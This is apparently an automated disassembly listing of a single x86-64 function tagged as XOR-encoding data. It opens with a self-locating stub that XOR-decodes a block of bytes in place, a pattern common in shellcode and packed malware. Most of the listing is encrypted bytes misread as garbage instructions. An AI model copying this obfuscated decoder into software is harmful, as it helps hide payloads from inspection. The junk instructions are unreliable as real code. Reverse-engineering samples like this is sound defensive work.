Function at 0x6d3593d0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x6d3593da
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x6d359403
pop rbp
sub rbp, 0x33
sub rbp, 0x17d93d0
cmp edx, 1
je 0x6d359446
ldmxcsr dword [rsp]
add rsp, 8
popfq
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
xor rax, rax
ret
sub rsp, 0x20
jmp 0x6d359456
mov rax, 0x17d93d0
add rax, rbp
add rax, 0xb8
mov rcx, 0x60b
or eax, dword [rsi]
add byte [rax], al
mov rdx, 0xffffffffc870867c
xor byte [rax], dl
inc rax
dec rcx
jne 0x6d359475
jmp 0x6d35948c
xor al, 0xf5
xchg ebp, eax
div ebp
jl 0x6d359510
jl 0x6d3594ca
std
mov ebp, 0x7c7c7d74
xor al, 0x7d
xchg ebp, eax
xor al, 0xbb
mov esp, 0x7c7c7c77
xor al, 0xbb
mov esi, 0x7c7c7c54
xor al, 0x8b
sahf
xor al, 0x7d
mov ebp, 0x7c70fdf7
jl 0x6d359535
xor al, 0x7d
xchg esp, eax
sub al, 0x2c
xor al, 0xc4
cmp byte [rdi], bh
push rdx
jl 0x6d359541
jl 0x6d359543
jl 0x6d3594fd
invalid
imul dword [rbx + rsi]
jge 0x6d35954b
jl 0x6d35954d
jl 0x6d359507
jge 0x6d35946a
xor al, 0xc6
invalid
cmp dword [rdi + 0x2c2e2624], 0x34
invalid
push rdx
jl 0x6d359586
jl 0x6d359588
jl 0x6d359542
invalid
sub al, 0x33
jge 0x6d359590
jl 0x6d359592
jl 0x6d35954c
jge 0x6d3594af
xchg esp, eax
jns 0x6d359599
jl 0x6d35959b
xchg ebp, eax
int1
jle 0x6d35959f
jl 0x6d359553
xchg esp, eax
add dword [rsp + rdi*2 + 0x7c], edi
sub esi, dword es:[rsi*8 - 0x4ab2cb55]
xor al, 0x4d
scasb al, byte [rdi]
call qword [rcx + rdi*2 + 0x73b48334]
clc
sbb byte [rsp + rdi*2 + 0x7c], bh
xchg esp, eax
jns 0x6d35956d
xor dword [rbx + rsi*2 + 0x7c7c18f8], 0x7c
jae 0x6d359537
hlt
and bh, byte [rsp + rdi*2 + 0x7c]
sbb dh, bh
invalid
mul dword [rax + 0x45]
cld
xchg dword [rbx + rsi*2 + 0x7c7c60f8], edx
xchg esp, eax
jae 0x6d359548
invalid
jl 0x6d3595cf
jl 0x6d359551
xchg dword [rbp + 0x7c6ff873], edx
jl 0x6d3595d9
sbb bh, ch
xchg dword [rbx + 0x63f87359], eax
jl 0x6d3595e3
jl 0x6d35959d
cmp dword [rbp - 0x7c7c4b6b], 0xffffff83
push rbp
xor byte [rbp + 0x7d], al
add dword [rbx + 0x45305583], 0x7d
xor al, 0xfd
mov ebp, 0x7c7c7c79
xor al, 0xfd
xchg esp, eax
js 0x6d3595fc
jl 0x6d3595fe
xchg ebp, eax
int 0x83
add dword [rbx + 0x7e452855], 0x34
adc dword [rbp + 0x28], 0x45
jle 0x6d3595c0
sub byte [rbp + 0x7e], al
xor al, 0xfd
std
mov ebp, 0x7c7c7c7a
jl 0x6d35960e
xor al, 0xfd
xchg esi, eax
js 0x6d359613
jl 0x6d359615
xor al, 0xfd
xchg esp, eax
jns 0x6d35961a
jl 0x6d35961b
jl 0x6d35961c
jl 0x6d359536
xchg ebp, eax
out dx, eax
add dword [rbx + 0x2abf2383], 0x2b
sub dword [rsi], ebp
xor al, 0xf5
stosd dword [rdi], eax
xor al, 0xf5
mov dl, pe_nt_image_headers64
invalid
std
mov ebx, 0x7c7c7c7d
xor al, 0xbb
mov edi, 0x7c7c7c7e
jle 0x6d35957d
jl 0x6d359648
jl 0x6d35964c
scasb al, byte [rdi]
jae 0x6d3595ca
jnp 0x6d35964f
jl 0x6d359651
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0xffffffae
mov edx, 0xff73ae6e
scasb al, byte [rdi]
add dword [rbx + 0x73ae7e83], 0xfffffff9
scasb al, byte [rdi]
jae 0x6d3595df
jnp 0x6d359664
jl 0x6d359666
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 3
jl 0x6d359672
jl 0x6d359673
jl 0x6d35962c
xor al, 0x4d
mov esp, 0xf973ae7e
movabs r12, 0x7c7c7c7bf973ae7e
jae 0x6d3595f7
jnp 0x6d35967c
jl 0x6d35967e
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0x1a
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x6d35960a
call [rdx]
sbb bh, byte [rbp + 0x7c]
jge 0x6d35968a
jl 0x6d35968e
scasb al, byte [rdi]
jae 0x6d35960c
jnp 0x6d359691
jl 0x6d359693
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x6d3595d1
mov edx, 0x6d34ae6e
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x6d35961e
jnp 0x6d3596a3
jl 0x6d3596a5
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x6d3595e3
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x6d359630
jnp 0x6d3596b5
jl 0x6d3596b7
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x6d3595f5
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x6d359642
stc
jnp 0x6d3596c7
jl 0x6d3596c9
jl 0x6d359644
imul byte [rdx + 0x34]
push 0x34
xor al, 0x83
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jae 0x6d359651
mov edx, 0x6d34ae6e
mov esp, 0x7c74f873
je 0x6d3596d7
jl 0x6d3596d8
jl 0x6d3596d9
jl 0x6d359692
xor al, 0xf5
cmc
xchg dword [rdx*2 - 0xb800941], esi
jg 0x6d35965a
jnp 0x6d35969c
cmp dword [rbx + 0x7ebfbb34], 0x7c
jl 0x6d3596ed
mov ebx, 0x7c7c7ebf
jl 0x6d359607
xchg ebp, eax
sub eax, dword [rbx - 0x44cb7c7d]
mov esp, 0x7c7c7c7d
add dword [rbx - 0x4344cb7d], 0x7d
jl 0x6d3596f8
jl 0x6d3596fc
jle 0x6d35962d
scasb al, byte [rdi]
jae 0x6d35967a
jnp 0x6d3596ff
jl 0x6d359701
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x6d35963f
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x6d35968c
stc
jnp 0x6d359711
jl 0x6d359713
imul byte [rdx + 0x34]
cmp dword [rdx - 0x18c5192], 0xffffffa5
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x6d35969e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x5baacb7d], 0x34
mov ebx, 0x7c7c7dbf
xor dword [rdx*2 - 0x4044cb5c], 0x7d
jl 0x6d359729
push rbp
movsb byte [rdi], byte [rsi]
xor al, 0xbb
mov edi, 0x7c7c7c7d
jae 0x6d3596a9
jl 0x6d359722
stc
jl 0x6d35972f
jl 0x6d3596e9
mov ebx, 0x7c7c7dbd
jge 0x6d359735
jl 0x6d359736
jl 0x6d359737
jl 0x6d35973a
jle 0x6d35966b
scasb al, byte [rdi]
jae 0x6d3596b8
jnp 0x6d35973d
jl 0x6d35973f
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x6d35967d
mov edx, 0x6d34ae6e
scasb al, byte [rdi]
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x6d3596ca
jnp 0x6d35974f
jl 0x6d359751
imul byte [rdx + 0x34]
xor al, 0x83
cmp dword [rdx - 0x18c5192], 0xffffffa5
mov edx, 0xfe73ae6e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0xacbd57d], 0xffffff82
xor al, 0x55
xchg edx, eax
invalid
movabs al, byte [0xbd34b48334838382]
add dword [rbx + 0x34b48334], 0xffffffbd
pushfq
je 0x6d3596ef
idiv byte [rdx + 0x34]
jp 0x6d35972f
cmp dword [rdx + 0x34b9f534], 0xffffffbb
mov ebp, 0x7c7c7c7d
jle 0x6d3596b7
mov edx, 0x34b9f534
mov ecx, 0x7dbdbb34
mov ebx, 0x7c7c7dbd
jl 0x6d359782
jl 0x6d359786
scasb al, byte [rdi]
jae 0x6d359704
jnp 0x6d359789
jl 0x6d35978b
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x6d3596c9
xor al, 0x83
mov edx, 0x6d34ae6e
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x6d359716
jnp 0x6d35979b
jl 0x6d35979d
imul byte [rdx + 0x34]
push 0x34
cmp dword [rdx - 0x18c5192], 0xffffffa5
add dword [rbx - 0x7b02cb7d], 0x7c
add dword [rsp + rdi*2 + 0x34], edi
invalid
std
test byte [rcx + rax + 0x7c], bh
jl 0x6d35976a
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
add dword [rbx + 0x7c84fd34], 0x79
std
test byte [rcx + rdi*2 + 0x7c], bh
jl 0x6d359778
jl 0x6d3597ba
jl 0x6d3597bf
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
cld
jl 0x6d3597cc
jl 0x6d3597cd
jl 0x6d359786
xor al, 0xfd
std
lodsd eax, dword [rsi]
jl 0x6d3597d2
jl 0x6d3597d4
xor al, 0xfd
test ah, bh
jl 0x6d3597da
jl 0x6d359794
std
lodsd eax, dword [rsi]
jl 0x6d3597e0
jl 0x6d3597e2
sub dh, byte [rsi*8 - 0x45aacb7e]
invalid
xor al, 0x55
mov edx, 0x9522d88f
and al, 0x82
add dword [rbx - 0x7ccb850a], 0xffffffba
xor al, 0x4d
mov ch, 0xbc
xchg esp, eax
cmp dword [rdx - 0x434ab2cc], 0xffffff94
jge 0x6d3597f4
clc
pop rsp
jl 0x6d359801
jl 0x6d3597bb
xor al, 0xfd
std
lodsd eax, dword [rsi]
jle 0x6d359807
jl 0x6d359809
xor al, 0xf5
mov ecx, 0x82f5342a
xor al, 0x55
mov edx, 0x3422d88f
mov ebx, 0x7c7c7dbf
jl 0x6d359737
jge 0x6d35981b
jl 0x6d35981d
xchg ebp, eax
pop rbx
invalid
cmp byte [rsp + rsi - 0x45], ch
insb byte [rdi], dx
xor al, 0xbb
mov esp, 0x7d01efac
xor al, 0x7d
xchg esp, eax
lodsb al, byte [rsi]
out dx, eax
add dword [rbp + 0x34], edi
jge 0x6d35975a
xor al, 0xfd
mov esp, 0x7c7c7862
jl 0x6d359802
xor al, 0xbb
mov ebp, 0x7c7c7ed9
mov ebx, 0x7c7ed9bd
jl 0x6d359809
jl 0x6d359850
xor al, 0xbb
mov esi, 0xe809a449
insb byte [rdi], dx
xor al, 0x83
mov ebx, 0x9a449be
call 0xfffffffff06a042b
mov esp, 0x73b58334
xor al, 0x83
mov ch, 0x73
stc
mov es, word [rbx + 0x78958383]
jl 0x6d359869
jl 0x6d359828
movabs dword [0xc216b7c0011f94d2], eax
invalid
sal byte [rdi + 0x7537c216], 0xc2
cmc
jle 0x6d3597f7
ret 0x7537
add qword [r8 - 0x42], rcx
add dword [rax - 0x42], ecx
movabs rsi, 0xc201b94801750fc2
ret 0x750f
add dword [rax - 0x47], ecx
add edx, eax
mov ecx, 0x79c9c201
add r8, rax
leave
jns 0x6d359858
add r8, rax
mov edx, 0xc28a6001
invalid
invalid
enter 0x49b3, 0x49
int 0x1a
add qword [r8 - 0x45], rcx
add qword [r8 - 0x45], rcx
add eax, ecx
mov es, word [rcx + 0x49]
add r8, rcx
movabs al, byte [0x4949b0c849494941]
int 0x98
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov cl, 0x43
int3
invalid
push rcx
add dword [rsi - 0x7f49fe80], esi
add eax, ecx
mov cs, word [rbx + 0x49]
movabs al, byte [0x49494da0b6b6b6f7]
in eax, dx
invalid